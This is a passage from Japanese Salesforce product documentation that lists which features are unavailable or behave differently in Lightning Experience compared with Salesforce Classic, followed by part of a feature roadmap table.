明します。新しいユーザインターフェースでは、一部のSalesforce機能を使用できません。また、一部の機能は
Salesforce Classic と同等ではありません。

ナビゲーション
タブセットのカスタマイズ

Salesforce Classicでは、アプリケーションに表示されるタブを指定できます。Lightning Experienceでは、アプリ
ケーションに表示される項目とその順序はシステム管理者が制御しますが、ユーザはお気に入りを使用し
て重要なレコード、リスト、グループ、ダッシュボード、その他の頻繁に使用するページにアクセスでき
ます。

カスタム Lightning Experience ナビゲーションバーでほとんどのアプリケーションとオブジェクトをサポート
カスタムナビゲーションバーを使用してカスタム Lightning アプリケーションを作成し、ユーザプロファイ
ルに割り当てることができます。たとえば、財務部門向けの Lightning アプリケーションを作成して、同部
門の一般的な業務の遂行に必要となる重要な項目をすべて含めることができます。Lightning Experience アプ
リケーションランチャーに表示されるアプリケーション、オブジェクト、その他の項目 (Visualforce タブ、
Lightning ページタブ、Lightningコンポーネントタブを含む) は、一部の例外を除いて含めることができます。
カスタムナビゲーションバーには、Salesforce オブジェクトとして取引先、納入商品、キャンペーン、ケー
ス、取引先責任者、ファイル、ダッシュボード、行動、ナレッジ記事、リード、商談、価格表、商品、レ
ポート、ToDo、テナント、作業指示、カスタムオブジェクトを含めることができます。さらに、ホーム、
メイン Chatter フィード、グループ、人も追加できます。
カスタム Lightning Experience アプリケーションのナビゲーションバーに、接続アプリケーション (Gmail™、
Microsoft Office 365™、Salesforce ISV のその他のアプリケーションなど) を含めることはできません。
ユーザは、引き続きアプリケーションランチャーから接続アプリケーションにアクセスできます。
Lightning Experience ナビゲーションメニューと Salesforce1 ナビゲーションメニューに関連性はありません。
Salesforce1 ナビゲーションメニューを変更しても、デフォルトまたはカスタム Lightning Experience ナビゲー
ションバーには影響しません。その逆も同様です。
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新しいブラウザウィンドウまたはタブでリンクを開く
通常、Lightning Experience では右クリックおよび Windows や Mac のキーボードショートカットを使用して、
新しいブラウザウィンドウまたはタブでリンクを開くことができます。ただし、次のようなアプリケーショ
ンの一部の領域では、これらのオプションがサポートされていません。
• [ホーム] の [最も重要な商談] カードや [最近のレコード] カードのリンク
• レコードのアクションアイコン、ボタン、およびメニュー項目
• メモへのリンク
• ダッシュボードの [レポートの表示] リンク
• Lightning Experience の [設定] ページのリンク
ショートカットでは、[設定] メニューのノードが新しいタブまたはウィンドウで開きます。ただし、スキー
マビルダーおよびデータインポートノードは Lightning Experience ではなく Salesforce Classic で開きます。

Lightning Experience では保存操作のように動作する Return キーと Enter キー
ロングテキストエリアで改行を入力するために使用するキーは、Lightning Experience では多少異なる動作を
します。ロングテキストエリアにカーソルを置いて Return キーか Enter キーを押すと、カーソルはテキスト
エリアから離れて [保存] ボタンが選択されます。改行を入力するには、Shift+Enter キーを押してください。

アクションとボタン
Lightning Experience では、次のアクションとボタンを使用できません。
• ディープコピー
• 一括削除
• オブジェクトのホームページおよびリストビューの一部の一括アクション (リストの複数項目の一括変更ま

たは削除、一括メール送信など)

• 共有ボタン ([ファイル] ホーム、ファイル詳細ページ、ファイルプレビュープレーヤーにファイル共有オプ
ションがある Salesforce Files を除く)

• コンテンツソースが OnClick JavaScript であるカスタムボタン
• コンテンツソースが URL で、Salesforce Classic でパラメータを標準ページに渡すカスタムボタン (レコードの

作成時に項目を事前入力する場合など)

関連トピック:

既存の Salesforce カスタマイズの動作
ポイント & クリック操作によるカスタマイズ: Lightning Experience で使用できない機能とその新機能

検索: Lightning Experience で使用できない機能とその新機能
ここでは、Lightning Experienceで検索するときの注意事項について説明します。一部の検索関連機能は、新しい
ユーザインターフェースでは使用できません。また、一部の機能は Salesforce Classic と同等ではありません。
検索可能なオブジェクト

Lightning Experience では検索できないオブジェクトは、添付ファイル、コーチング、コミュニティ、契約品
目名、D&B 企業、ドキュメント、ディスカッション、エンタイトルメント、目標、アイデア、Live Chat トラ
ンスクリプト、マクロ、総計値、注文、パフォーマンスサイクル、質問、クイックテキスト、人員不在、
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報奨資金、報奨資金種別、Salesforce CRM Content、セルフサービスユーザ、サービス契約、サービス人員ス
キル、サービステリトリーメンバー、スキル、ソリューション、トピック、ユーザ、作業指示品目です。

検索結果を絞り込めない
[完全に一致する語句を含む] および [私の所有データ] 検索条件オプションは、検索結果ページで使用できま
せん。また、検索結果の絞り込みもできません。並び替えは、Chatter グループ、ファイル、ナレッジ記事
以外は可能です。検索結果のテキスト項目が長すぎて列幅に収まらない場合は、検索結果に完全なテキス
トを表示できません。列幅を増やすことはできません。
ユーザ定義のルックアップ検索条件項目はサポートされません。ただし、ルックアップ検索結果にはグロー
バル検索と同じ関連性ランキングが使用されるため、ユーザには最も関連性の高い結果が最初に表示され
ます。

[すべて検索] に代わる [上位の結果]

検索結果には [すべて検索] オプションはありません。[上位の結果] では、関連性が最も高いレコードが、
最も頻繁に使用するオブジェクト別にグループ化されて表示されます。他のオブジェクトの結果を表示す
るには、検索結果で、ページの左側にあるオブジェクト名をクリックします。検索可能なオブジェクトが
ナビゲーションバーの表示とと同じ順序でリストされます。検索結果にオブジェクトがリストされない場
合は、[さらに表示]を選択すると、使用可能なすべてのオブジェクトがアルファベット順に表示されます。

ナレッジ記事の検索結果
検索結果に表示される列はカスタマイズできません。デフォルトの列は、[記事番号]、[公開状況] (システム
管理者が有効にしている場合)、および [最終更新日] です。また、ナレッジ記事の検索結果の並び替えもで
きません。

サイドバー検索および高度な検索がない
Lightning Experience で検索するには、ヘッダーのグローバル検索バーを使用します。

検索結果ページに固定がない
オブジェクトは固定できません。Salesforce Classicから固定しても、検索結果で、ページの左側にリストされ
るオブジェクトの順序には影響ありません。

アプリケーションでワイルドカード検索がサポートされない
アプリケーションの部分一致検索またはアプリケーションランチャーからの検索を実行するときに、ワイ
ルドカードは使用できません。

グローバルおよびルックアップダイアログ検索レイアウトでの検索結果レイアウトの使用
グローバル検索およびルックアップダイアログ検索結果の列として表示される項目を変更するには、オブ
ジェクトマネージャ内のオブジェクト詳細ページで [検索結果] 検索レイアウトを使用します。その他の検
索レイアウト (ルックアップダイアログ、ルックアップ電話ダイアログ、タブ、リストビュー、および検索
条件項目) は Lightning Experience では使用できません。

ルックアップダイアログ検索の新しいボタンでは一部のオブジェクトのみがサポートされる
Lightning Experience では、ルックアップダイアログ検索ウィンドウから取引先、ケース、取引先責任者、カ
スタムオブジェクト、行動、リード、メモ、商談、価格表、商品、および ToDo オブジェクトを作成できま
す。その他のオブジェクトでは、ルックアップダイアログ検索を使用してレコードを関連付ける前に、必
要なオブジェクトまたはレコードを作成します。
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組織の設定: Lightning Experience で使用できない機能とその新機能
Lightning Experience では、基本的な Salesforce 設定のいくつかの機能がサポートされていません。また、Lightning

Experience の [設定] には、Salesforce Classic で使用可能な設定ページのうち、含まれていないものがあります。

設定ページ
多くの場合、Lightning Experience の [設定] は次のページに制限されています。
• Lightning Experience の機能をサポートしているページ
• 会社の設定、セキュリティ、ユーザ管理、モバイルアプリケーション設定など、組織全体に適用される管

理ページ
Service Cloud 機能の設定ページなど、その他の設定ページにアクセスするには、Salesforce Classic の [設定] ツリー
を使用します。

高度な通貨管理
高度な通貨管理、または期間指定換算レートは、通常サポートされていません。ただし、商談には正しい金額
が表示されます。

言語サポート
アラビア語とヘブライ語を含む、右から左に読み取られる言語はサポートされていません。その他のSalesforce

でサポートされるロケールと言語はすべてサポートされます。

Skype for Salesforce

Skype for Salesforce は、Lightning Experience でのみ使用できます。

関連トピック:

ポイント & クリック操作によるカスタマイズ: Lightning Experience で使用できない機能とその新機能
プログラムによるカスタマイズ: Lightning Experience で使用できない機能とその新機能

データのインポートおよび管理: Lightning Experience で使用できない機能とそ
の新機能
ここでは、Lightning Experienceでデータをインポートおよび管理するときの注意事項について説明します。新し
いユーザインターフェースでは、一部の Salesforce 機能を使用できません。また、一部の機能は Salesforce Classic

と同等ではありません。

データのインポート
Data.com

Lightning Experience では使用できない Data.com の機能について確認します。
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重複管理: Lightning Experience での相違点
重複とマージを表示するユーザインターフェースは、Lightning Experience では一貫性が高くなっています。
ポータルユーザに関連付けられた取引先責任者のマージは、Lightning ExperienceとSalesforce Classicでは異なり
ます。Lightning Experience では、個人取引先およびリレーショングループはサポートされていません。

データのインポート
Lightning Experience では、次の従来のデータインポートツールを使用できません。
• 取引先と取引先責任者
• リード
• ソリューション
• カスタムオブジェクト
インポートするレコードが 50,000 件未満の場合は、データインポートウィザードを使用します。インポートす
るレコードが 50,000 件以上の場合は、データローダを使用します。

Data.com

Lightning Experience では使用できない Data.com の機能について確認します。
Data.com プロスペクタ

Lightning Experience では、Data.com Prospector のオプションがより制限されています。
[Data.com] タブを使用できない

取引先は、取引先リストビューから検索します。取引先の取引先責任者は、取引先の詳細ページから検
索します。

取引先責任者検索
取引先責任者は、既存の取引先に関連付けられている場合にのみ検索できます。取引先責任者を検索す
るには、取引先の詳細ページに移動します。

リードとしての取引先責任者
Data.com 取引先責任者をリードとして追加することはできません。

制限された取引先の項目の検索
取引先を検索するときに、絞り込むことができるのは次の項目のみです。
• 年間売上
• 会社名または Web サイト
• 国/テリトリー
• 場所種別
• 都道府県

保存された検索を使用できない
検索は保存できません。

Data.com レコードのエクスポート
Data.com レコードはカンマ区切り値 (CSV) 形式ではエクスポートできません。
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Data.com Clean

[Data.com クリーンアップ設定] ページを使用できない
[Data.com クリーンアップ設定] ページは使用できないため、Data.com Clean は有効または無効にできませ
ん。

[Data.com クリーンアップ設定] ページを使用できない
[Data.com クリーンアップ設定] ページは使用できないため、Data.com Clean は設定できません。

[Data.com クリーンアップジョブ] ページを使用できない
[Data.com クリーンアップジョブ] ページは使用できないため、クリーンアップジョブのスケジュールや
クリーンアップジョブ履歴の表示を行うことはできません。

[Data.com クリーンアップの総計値と分析] ページを使用できない
[Data.com クリーンアップの総計値と分析] ページは使用できないため、クリーンアップジョブの総計値
と分析は表示できません。

手動クリーンアップの制限事項
クリーンアップジョブがあり、有効な「取引先の会社情報」または「リードの会社情報」ルールがない
とします。この場合、ユーザはレコードを手動でクリーンアップできません。クリーンアップジョブに
関連付けられている [クリーンアップ] ボタンが Salesforce Classic ページレイアウトに含まれていても、
Lightning Experience ではボタンは表示されません。

クリーンアップ情報オブジェクトの項目を変更できない
取引先クリーンアップ情報オブジェクト、リードクリーンアップ情報オブジェクト、取引先責任者ク
リーンアップ情報オブジェクトの項目は変更できません。

重複管理: Lightning Experience での相違点
重複とマージを表示するユーザインターフェースは、Lightning Experienceでは一貫性が高くなっています。ポー
タルユーザに関連付けられた取引先責任者のマージは、Lightning Experience と Salesforce Classic では異なります。
Lightning Experience では、個人取引先およびリレーショングループはサポートされていません。
ユーザインターフェースでの重複とマージの表示の違い

Lightning Experience では、重複アラートは取引先、取引先責任者、またはリードのレコードホームページに
表示されます。Salesforce Classic では、重複アラートはオブジェクトに応じてレコードホームページ、オブ
ジェクトホームページ、または関連リストに表示されます。

ポータルユーザに関連付けられている取引先責任者
Lightning Experience を使用してポータルユーザに関連付けられている取引先責任者をマージする場合、マー
ジ中にポータルユーザの状況は表示されません。マージされたレコードは、マスタレコードのポータルユー
ザの状況を保持します。Salesforce Classic を使用してポータルユーザに関連付けられている取引先責任者を
マージする場合、マージ中にポータルユーザの状況が表示されます。マージされたレコードで保持するポー
タルの状況を選択できます。

個人取引先がサポートされない
Lightning Experience では、個人取引先のマージはサポートされていません。

リレーショングループがサポートされない
Lightning Experience では、リレーショングループに関連付けられている取引先責任者のマージはサポートさ
れていません。
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プロセスの自動化: Lightning Experience で使用できない機能とその新機能
ここでは、Lightning Experienceでプロセスの自動化機能を使用するときの注意事項について説明します。プロセ
スビルダーとワークフローは完全にサポートされます。Visual Workflow と承認もサポートされますが、一部制限
があります。

承認
承認申請の表示

Lightning Experience ユーザは、Chatter またはレコードの活動タイムラインで承認申請を表示することはでき
ません。

承認申請への返答
次のオプションは使用できません。
• 承認申請の取り消し
• 承認申請の再割り当て
• 承認がロックされているレコードのロック解除
ユーザが次の承認者を手動で選択する場合、キューは使用できません。

承認コメント
承認の詳細ページには、その承認申請に関連するコメントのみが表示されます。レコードのすべての承認
コメントを表示するには、[承認履歴] 関連リストで [すべて表示] をクリックします。

[承認履歴] 関連リスト
[承認履歴] 関連リストには [承認申請] ボタンがありません。

一時停止中のフローインタビュー
一時停止しているフローインタビューを再開するには、ユーザはSalesforce Classicに切り替えるか、Salesforce1を
使用する必要があります。

セキュリティ: Lightning Experience で使用できない機能とその新機能
ここでは、Lightning ExperienceのSalesforceセキュリティ機能での注意事項について説明します。一部の機能は、
新しいユーザインターフェースでは使用できません。また、一部の機能は Salesforce Classic と同等ではありませ
ん。

共有設定
Lightning Experience は、組織の共有ルールに従います。[共有設定] ページは Lightning Experience の [設定] で使用で
きますが、一部のオプションは Lightning Experience には適用されません。
ユーザレコードの共有の直接設定

このチェックボックスでは、[共有] ボタンによるユーザレコードの共有の直接設定を有効または無効にし
ます。このボタンは、Salesforce Classic のみで使用できます。
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マネージャグループ
このチェックボックスでは、共有ルール、共有の直接設定、および Apex による共有管理で使用可能なマ
ネージャおよびマネージャの下位グループとのレコード共有を有効または無効にします。[共有] ボタンに
よる共有の直接設定は、Salesforce Classic のみで使用できます。

ポータルユーザ表示
このチェックボックスでは、ポータルユーザを同じ取引先の他のポータルユーザに表示するか、ロール階
層内で自分より上位のユーザのみに表示するかを選択できます。ポータルは、Salesforce Classicのみで使用で
きます。

セッションセキュリティレベル
レポートとダッシュボードへのアクセスに高保証セッションが必要なポリシーを組織で設定している場合、標
準保証セッションのユーザは Lightning Experience のレポートとダッシュボードからブロックされます。また、
レポートおよびダッシュボード項目はナビゲーションメニューに表示されません。Lightning Experience では、
ユーザをリダイレクトして 2 要素認証を完了し、セッションレベルを高保証に上げることはできません。
回避策として、標準保証セッションのユーザはログアウトしてから、組織によって高保証として定義された認
証方法を使用して再度ログインできます。その後ユーザはレポートとダッシュボードにアクセスできます。ま
たは、Salesforce Classic に切り替えることができます。この場合、レポートとダッシュボードにアクセスすると
きに、セッションレベルを上げるように促されます。

セッション権限レベル
Lightning Experience コンテキストで $Api.Session_ID または GETSESSIONID() を使用して取得されるセッ
ションの権限は、Lightning セッションの権限とほぼ同じです。Lightning セッションと同様に、これらのセッショ
ン ID を使用して API コールを行うことはできません。

トランザクションセキュリティ
トランザクションセキュリティポリシーのアクションを選択する場合、AccessResource イベント種別に 2 要素認
証を使用することはできません。代わりに [ブロック] アクションが使用されます。

ポイント & クリック操作によるカスタマイズ: Lightning Experience で使用でき
ない機能とその新機能
ポイント & クリック操作によるカスタマイズの多くはLightning Experienceでシームレスに動作します。ただし、
一部のカスタマイズは新しいインターフェースでは適用されないかサポート対象外です。
Force.com クイックアクセスメニュー

さまざまなアプリケーションやオブジェクトのカスタマイズ機能へのショートカットがあるこのメニュー
は、Salesforce Classic でのみ使用できます。

カスタムブランド
カスタムロゴを新しいインターフェースに適用することはできませんが、Lightning アプリケーションを作
成してカスタムロゴおよび色を設定できます。
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カスタム JavaScript ボタン
JavaScript コンテンツソースを使用するカスタムボタンは、Lightning Experienceではサポートされていません。
JavaScript ボタンの使用事例の Lightning 対応ソリューションのリストについては、Trailhead の「JavaScript ボタ
ンの Lightning の代替法」を参照してください。

カスタムヘルプ
Lightning Experience ページのヘルプメニューにある項目はカスタマイズできません。ただし、Salesforce Classic

で [このページのヘルプ] リンク用のカスタムヘルプを作成している場合、[設定] ツリーなどの新しいユーザ
インターフェースにクラシックページが埋め込まれていればこれらのリンクは表示されたままになります。

オブジェクト固有のカスタマイズ
オブジェクト固有のカスタマイズは、特定のオブジェクト用に作成するものです。例として、項目、ページレ
イアウト、レコードタイプ、Apex トリガなどがあります。ほとんどのオブジェクト固有のカスタマイズは、
[設定] ツリーから直接使用する代わりにオブジェクトマネージャで使用できます。[設定] から [クイック検索]

ボックスに「オブジェクトマネージャ」と入力し、[オブジェクトマネージャ] を選択します。

メモ: ケースマイルストンなどの Lightning Experienceではサポートされていない機能にオブジェクトが関連
している場合、そのオブジェクトはオブジェクトマネージャや [設定] には表示されません。

標準項目
標準項目を編集するには、項目名をクリックしてから [編集] をクリックします。Salesforce Classic とは異な
り、オブジェクトの詳細ページから標準項目を直接編集することはできません。

ページレイアウト
Salesforce Classicでカスタムオブジェクトおよび標準オブジェクトに対して行ったレコードページのカスタマ
イズは、Lightning Experience のレコードページにも影響します。ただし、Lightning Experience では一部のペー
ジ要素が異なって表示され、一部はサポートされていません。
Lightning Experience からはユーザプロファイルのページレイアウトにアクセスできません。
ケースには、ケースクローズページレイアウト専用の特殊な関連リストがあります。
次のページレイアウト要素は Lightning Experience ではサポートされていません。
• 空白スペース
• 高度なルックアップ
• モバイルカード
• Sコントロール
• セクション
• タグ
Lightning Experience で参照している場合、レコードページのレイアウトのカスタマイズには高度なページレ
イアウトエディタを使用できません。Lightning アプリケーションビルダーを使用してカスタム Lightning

Experienceレコードページを作成すれば、異なるレコードページを異なるLightningアプリケーション、レコー
ドタイプ、およびプロファイルに割り当てることができます。

トリガ
トリガは、「Apex 開発」ユーザ権限がある場合にのみオブジェクトマネージャに表示されます。
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一部の標準オブジェクトのトリガは、オブジェクトマネージャに表示されません。「オブジェクトマネー
ジャに含まれていないオブジェクトのカスタマイズ」を参照してください。これらのトリガには [設定] の
[クイック検索] ボックスから直接アクセスします。

項目セット
項目セットは Lightning Experience では使用できません。組織で自分または他の誰かが Salesforce Classic を使用
して項目セットを作成した場合、数式項目やVisualforceページなどの項目セットのグローバル変数が所々に
表示されますが、Lightning Experience ではそれらを管理できません。

Apex 共有ルール
Lightning Experience では使用できません。

Apex 共有再適用
Lightning Experience では使用できません。

オブジェクトマネージャに含まれていないオブジェクトのカスタマイズ
オブジェクトマネージャには、ケースコメントのトリガなど、標準オブジェクトについて一部のオブジェクト
のカスタマイズが含まれていません。これらのオブジェクトのカスタマイズには、[クイック検索] ボックス
からアクセスします。たとえば、[設定] から、[クイック検索]ボックスに「ケースコメント」と入力し、[ケー
スコメントのトリガ] を選択します。
トリガ

• ケースコメントトリガ
• メールメッセージトリガ
• FeedComment トリガ
• FeedItem トリガ
• グループトリガ
• グループメンバートリガ
• グループレコードトリガ
• トピックトリガ
• TopicAssignment トリガ

レイアウト
• フィード項目レイアウト
• グループレイアウト
• パブリッシャーレイアウト

関連トピック:

ナビゲーションおよびアクション: Lightning Experience で使用できない機能とその新機能
既存の Salesforce カスタマイズの動作
Lightning Experience のページレイアウト
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プログラムによるカスタマイズ: Lightning Experience で使用できない機能とそ
の新機能
プログラムによるカスタマイズの多くは Lightning Experience で機能します。ただし、新しいインターフェース
は Lightning ページや Visualforce などの一部の機能の動作方法に影響します。

Visualforce

Visualforce でカスタマイズされた Salesforce を使用する組織の場合、次の重要な考慮事項があります。詳細を把
握するには、Trailhead で「Visualforce & Lightning Experience」を完了して新しい開発者バッジを取得してください。
Visualforce は Lightning Experience では iframe でラップされる

Salesforce Classicでは、Visualforceがページ全体を所有します。Lightning Experienceでは、Visualforce は代わりに埋
め込み iframe でラップされます。このラッパーにはいくつかの効果があり、Trailhead モジュール全体が詳細
の説明に専念している主な理由はこのためです。

sforce.one は Salesforce1 専用ではなくなった
sforce.one  JavaScript ユーティリティオブジェクトは、Salesforce1で実行されているVisualforceページでのみ
使用可能でした。組織が Lightning Experience を有効にすると、Lightning Experience で実行されているページに
もこのユーティリティオブジェクトが追加されます。
これまで、ユーザは sforce.oneの有無を検出することで、コードが実行されているユーザエクスペリエ
ンスコンテキストを判断していました。現在、ユーザエクスペリエンスコンテキストを検出するより適切
で、サポートされている方法が存在します。
sforce.one の有無が何を意味するかを推測するコードを記述している場合は、新しい機能を使用するよ
うにコードを更新する必要があります。

window.location を設定できない
新しいページに移動するための JavaScript の一般的方法は、window.location 値を操作することです。こ
の方法は Lightning Experience では使用できません。代わりに sforce.one の navigation メソッドを使用しま
す。

オブジェクトリストアクションの上書きにアクセスできない
オブジェクトリストアクションは Visualforce ページで上書きできる 6 つの標準アクションの 1 つですが、
Lightning Experience ではアクセスできません。上書きは可能ですが、ユーザはアクセスできません。

Lightning Experience アプリケーションのユーザインターフェースが常に表示される
Lightning Experienceで実行されているVisualforceページは、<apex:page> showHeaderおよび showSidebar

属性を無視します。Lightning Experience のヘッダーとナビゲーションメニューは非表示にできません。

セッション権限レベル
Lightning Experience コンテキストで $Api.Session_ID または GETSESSIONID() を使用して取得されるセッ
ションの権限は、Lightning セッションの権限とほぼ同じです。Lightning セッションと同様に、これらのセッショ
ン ID を使用して API コールを行うことはできません。
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Sコントロール
Sコントロールとは、Salesforce ユーザインターフェースをカスタマイズする旧式の方法です。あらゆる点で優
れた Visualforce および Lightning の導入に伴い、この方法は廃止されています。Lightning Experience では、Sコント
ロールはサポートされておらず、今後サポートされることもありません。組織で Sコントロールに依存してい
る場合は、Lightning Experience に移行する前に置換する必要があります。

関連トピック:

既存の Salesforce カスタマイズの動作

アプリケーションおよびパッケージ: Lightning Experience で使用できない機能
とその新機能
Lightning 対応と認定された AppExchange のアプリケーションは、Lightning Experience でサポートされています。
Lightning Experienceでは、パッケージのインストールと管理はできますが、その他のパッケージ機能はサポート
されていません。Lightning Experience でライセンス管理アプリケーションと環境ハブは使用できますが、他の
ISVforce アプリケーションはサポートされていません。

AppExchange

AppExchange の一部のアプリケーションは、Lightning Experience でサポートされています。アプリケーションが
サポートされている場合、AppExchange リストに Lightning 対応マークが表示されます。アプリケーションがサ
ポートされていない場合は、代わりに Salesforce Classic を使用してください。
Lightning 対応認定のないアプリケーションを Lightning Experienceで使用することはできますが、一部の機能が使
用できない場合や期待どおりに動作しない場合があります。これらのアプリケーションの中には、Salesforce

Classicのスタイルを使用しているために Lightning Experienceでの表示の視覚的な一貫性がなくなるものもありま
す。最適な操作性を得るために、Lightning 対応として認定されていないアプリケーションには Salesforce Classic

を使用してください。

パッケージ
Lightning Experienceではパッケージをインストールできます。ただし、すでにインストールされたパッケージの
場合、Lightning Experienceからユーザにライセンスを割り当てることはできません。ライセンスを割り当てる必
要がある場合は、Salesforce Classic に切り替えてください。

ISVforce アプリケーション
Lightning Experienceでライセンス管理アプリケーションを使用して、ライセンスの管理や登録者のサポートを行
うことができます。また、Lightning Experienceで環境ハブを使用して、開発組織、テスト組織、トライアル組織
を作成および管理できます。
Lightning Experience では、次の ISVforce 機能はサポートされていません。
• Channel Order App

• Trialforce

• Usage Metrics Visualization (利用状況総計値の可視化) アプリケーション
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Chatter が無効な場合の Lightning Experience の機能制限
エディション

Lightning Experience で
Chatter を使用可能なエ
ディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織で Chatter を使用していない場合、Lightning Experience インターフェースのい
くつかの機能を使用できません。ここでは、Lightning Experience での変更点と、
Chatter なしでは使用できない重要な機能を確認します。
組織全体に対して、または権限セット経由で一部のユーザに対して Chatter を無
効にした場合、次のような制限があります。
• フィードとグループを使用できません。
• ユーザプロファイルは引き続き使用できますが、プロファイルでフィードと

グループを使用できません。
• レコードで [コラボレーション] タブを使用できません。
• ユーザはレコードと他のユーザをフォローできません。

Lightning Experience 情報センター

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience の使用、組織向けの設定、新しいユーザインターフェースの
開発についての詳細は、以下のリソースを参照してください。

Lightning Experience の使用開始

動画

Lightning Experience: Let's Take it for a Spin (試してみよう)

Lightning Experience 動画シリーズ

ヘルプ

Lightning Experience の操作方法
Trailhead

営業担当向けトレイル - Lightning Experience の使用

組織の Lightning Experience の評価とロールアウト

動画

Lightning Experience への移行

ヘルプ

Lightning Experience が特別な理由

Lightning Experience が Salesforce 組織に適しているかどうかの判断
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Lightning Experience への移行

Lightning Experience の考慮事項

Lightning Experience ロードマップ
Trailhead

システム管理者向けトレイル - Lightning Experience の開始

管理者向けトレイル - Lightning Experience への移行

Lightning Experience Enablement Pack (Zip ファイル)

ガイド

組織の Lightning Experience の評価とロールアウト

リリースノート

Spring '17 の Lightning Experience の機能

Lightning Experience 向けの開発

Trailhead

開発者向けトレイル - Lightning Experience

Lightning Experience Development Overview (Lightning Experience 開発の概要) (Trailhead モジュール)

JavaScript ボタンの Lightning の代替法 (Trailhead モジュール)

Visualforce および Lightning Experience (Trailhead モジュール)

Lightning コンポーネント (Trailhead モジュール)

Lightning Design System (Trailhead モジュール)

Lightning Experience ロードマップ

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience は、150,000 人を超えるお客様からのフィードバックに基づい
て構築されています。正式リリースされてからは、Lightning Experience をさらに
推進するためにお客様のアイデア、コメント、および要望を集めています。現
在取り組み中の機能とアイデアとして次のようなものがあります。

メモ: このロードマップには、Salesforce の将来予測に関する記述が適用され
ます。ロードマップ項目は予告なく変更される可能性があるため、その時
点で使用可能な技術に基づいて購入の意思決定を下してください。
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将来 (Spring '18 まで)Spring '17Winter '17機能

分析

ダッシュボード: ゲージの
パーセント表示

ダッシュボード: 条件付き
強調表示

ダッシュボード: 動的ダッ
シュボードの作成および
編集

ダッシュボード: 条件設定
済みダッシュボードから
のレポートへのドリルダ
ウン

ダッシュボード: 条件設定
済みダッシュボードの編
集

ダッシュボード: 実行ユー
ザの編集

ダッシュボード: 表形式グ
ラフの種類の編集

ダッシュボード: フォロー

ダッシュボード: スケ
ジュール設定

レポート: アクセス可能な
レポートビルダー

レポート: 条件付きフォー
マッティング

レポート: URL を介した動
的検索条件

レポート: フォルダ管理

レポート: 表形式の履歴ト
レンド

レポート: 結合レポート

レポート: 印刷用に表示
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レポート: 相対日付検索条
件

レポート: ロール階層検索
条件

レポート: フォルダ内の検
索

レポート: 集計の並び替え

レポート: 登録およびスケ
ジュール

レポート: 同等のグラフ
Chatter

将来Spring '17Winter '17機能

Chatter: 投稿の編集

Chatter: コメントのリッチ
テキスト

Chatter: 投稿の共有

Chatter: トピック

コンテンツ配信: メールの
添付ファイル経由

コンテンツ配信: リンクの
生成

ファイル: ライブラリ内の
フォルダ

ファイル: あらゆる場所の
フォルダ

グループ: グループの検索

プラットフォーム

将来Spring '17Winter '17機能

関連リストのアクション
およびボタン

承認コンポーネント
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アプリケーションごとの
ブランド設定

項目ヘルプ

項目履歴管理

Lightning アクション: ク
イックアクションによる
Lightning コンポーネント
の呼び出し

Lightning アクション:

Lightning コンポーネント
での標準アクションの上
書き

Lightning 一括アクション:

Lightning アクションを使
用したリストビューから
の複数レコードの操作

Lightning ページ: レコード
タイプおよびプロファイ
ル別の割り当て

リストの共有

リスト: インライン編集

リスト: 一括アクション

リスト: 一括アクションに
よる所有者の変更

ルックアップ: 連動条件設
定済みルックアップ

ごみ箱

関連リスト: 一括アクショ
ン

共有: 共有の直接設定

印刷用に表示してページ
を印刷

ページレベルのヘルプ
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リスト: リストの回転式表
示

プラットフォーム: コンソール

将来Spring '17Winter '17機能

アクセシビリティ

キーボードショートカッ
ト: 標準

キーボードショートカッ
ト: カスタム

履歴ユーティリティ

マルチモニターのサポー
ト

ナビゲーションおよび
ユーティリティ JavaScript

API (コンソールインテグ
レーションツールキット)

個人取引先のサポート

ログアウト時にワークス
ペースを保存

関連リストコンポーネン
ト: 積み上げおよびタブ

関連リストコンポーネン
ト: アコーディオン

分割ビュー (固定表示リス
ト)

ユーティリティバー

ワークスペースおよびサ
ブタブ

ワークスペースコンポー
ネント: 複数のサブタブに
またがるコンポーネント

ユーティリティバー内の
Visualforce コンポーネント
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Visualforce の上書きのサ
ポート

セールス

将来Spring '17Winter '17機能

取引先: 階層

取引先: 取引先パートナー

取引先チーム: 複数のメン
バーの追加および編集

カレンダー: 月表示

カレンダー: スケジュール
設定および行動の被召集
者 (外部カレンダーが必要)

カレンダー: 定期的な行動

カレンダー: 共有

キャンペーン: リストから
のリードおよび取引先責
任者の追加

キャンペーン: 階層

キャンペーンメンバー: 関
連リストの一括アクショ
ン、コピー、状況の管理

コラボレーション売上予
測

コラボレーション売上予
測: 商品ファミリの売上予
測ビュー

コラボレーション売上予
測: 目標達成率ビュー

コラボレーション売上予
測: 「ジャンプ先」

取引先責任者: 階層

契約

ディビジョン
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メール: Classic テンプレー
トを Lightning Experience で
使用可能

メール: 任意のオブジェク
トのクイックアクション

メール: 一括メール送信

リード: 作成および編集時
の割り当てルールの手動
実行

リード変換: 取引先、個人
取引先、および取引先責
任者へのカスタム項目の
対応付け

マージ: 取引先および取引
先責任者

マージ: リード

マージ: 個人取引先

商談: 売上予測分類の所有
者編集権限

取引先責任者の役割: 複数
の取引先責任者の追加お
よび編集

商談商品: 複数の商品の追
加および編集

商談: 商品スケジュール

商談: 商品と共にコピー

商談: 商談分割

商談: フェーズ履歴

商談チーム: 複数のメン
バーの追加および編集

注文

個人取引先: Lightning

Experience での設定
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個人取引先: メールテンプ
レートおよび差し込み項
目のサポート

個人取引先: 関連リスト
(ケースおよびメモ) での
個人取引先のすべての関
連レコードの表示

個人取引先: カスタマイズ
可能な Lightning ページ

個人取引先: 重複管理

商品と価格表: アーカイブ

見積

見積: 見積 PDF のメール送
信

ToDo: ToDo のフォローアッ
プ

ToDo: 定期的な ToDo

ToDo: アラーム

エンタープライズテリト
リー管理: 取引先の関連リ
スト、商談のテリトリー
項目

サービス

将来Spring '17Winter '17機能

ケース: 作成および編集時
の割り当てルールの手動
実行

ケース: Kanban

ケース: Classic ケースコメ
ント

ケース: ファイルコンポー
ネント

ケース: フィード条件
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ケース: マクロ

ケース: 一括マクロ

ケース: ケースチーム

ケース: ケースのマージお
よび分割

ケース: トピック

ケース: エキスパート

Lightning Knowledge: 記事タ
イプをレコードタイプに
置き換え

Lightning Knowledge: 統合さ
れたオブジェクトホーム
とリストビュー

Lightning Knowledge: ナレッ
ジの高度な検索によるグ
ローバル検索

Lightning Knowledge: コン
